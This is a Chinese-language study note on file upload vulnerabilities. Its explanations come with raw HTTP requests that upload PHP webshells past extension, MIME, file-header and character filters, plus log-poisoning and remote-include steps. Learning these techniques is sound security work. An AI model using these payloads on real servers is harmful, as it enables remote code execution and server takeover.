【笔记】文件上传漏洞

前言

文件上传漏洞学习笔记

漏洞原理

  • 通过文件上传功能上传恶意文件来执行恶意代码

前端绕过

  • 如果文件类型是通过前端判断,可以直接修改浏览器的HTML代码
1
<button type="button" lay-data="{url:'upload.png',accept:'images',exts:'png'}"></button>

后端绕过

绕过后缀名黑名单

  • 如果.php被加入到了黑名单,可以尝试使用旧版本的php文件后缀名.php5
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php5"
Content-Type: application/octet-stream

<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--

绕过图片名包含检测

  • 如果后端的判断逻辑是文件名中是否包含图片后缀名,可以通过多后缀名来绕过

  • 构造一个后缀名为.png.php的文件

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.png.php"
Content-Type: application/octet-stream

<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--

绕过图片类型识别(MIME识别)

  • 如果后端的判断逻辑是文件上传请求的文件类型识别,可以通过抓包修改请求数据来绕过

  • 上传一个php文件,并抓包,修改请求参数中的文件类型为图片

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--

绕过PHP的外壳检测

  • 尝试使用其他PHP外壳

传送门

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?=eval($_REQUEST[x]);?>
---------------------------000000000000000--

绕过PHP代码的方括号过滤

  • []改用{}
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST{x});?>
---------------------------000000000000000--

绕过PHP代码的分号过滤

  • 直接省略;
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST[x])?>
---------------------------000000000000000--

绕过函数关键词过滤

改用其他函数

  • 如果$_GET$_POST$_REQUEST都被过滤,则可以改用system('<shell>')直接执行payload
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php system('<shell>');?>
---------------------------000000000000000--

改用反引号

  • 如果system也被过滤了,可以使用反引号
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php echo `<shell>`;?>
---------------------------000000000000000--
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php `<shell>`;?>
---------------------------000000000000000--

改用字符串拼接

  • 先分割函数名字符串,再拼接函数名字符串
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php $function_name='syste'.'m';$function_name('<shell>')?>
---------------------------000000000000000--

通过包含日志来绕过PHP代码的过滤

  1. 在上传的文件中包含系统日志文件

本案例以Nginx为例

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php include "/var/log/nginx/access.log";?>
---------------------------000000000000000--
  1. 访问上传的包含日志内容的页面
request
1
GET http://127.0.0.1:80/payload.php
  1. 根据回显内容,判定日志记录的内容,根据日志记录的内容将payload写入对应位置

举例:如果日志记录了User-Agent,则再次发送请求,在请求头的User-Agent参数中携带payload

request
1
2
GET http://127.0.0.1:80/
User-Agent: <?php eval($_REQUEST[x]);?>
  1. 再次访问上传的包含日志内容的页面,并携带payload,触发代码
request
1
2
3
4
POST http://127.0.0.1:80/payload.php
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

绕过文件头检测

  • 添加图片的文件头
request
1
2
3
4
5
6
7
8
9
10
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

GIF89A
<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--

绕过PHP代码的点过滤

  1. 部署一个站点,包含payload
index.html
1
2
3
<html>
<?php eval($_REQUEST[x]);?>
</html>
  1. 将站点公网ip地址转换为int值

  2. 通过ip地址的int值包含有payload的站点

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php include 'http://2130706433/index.html';?>
---------------------------000000000000000--

绕过二次渲染

传送门

完成

参考文献

哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec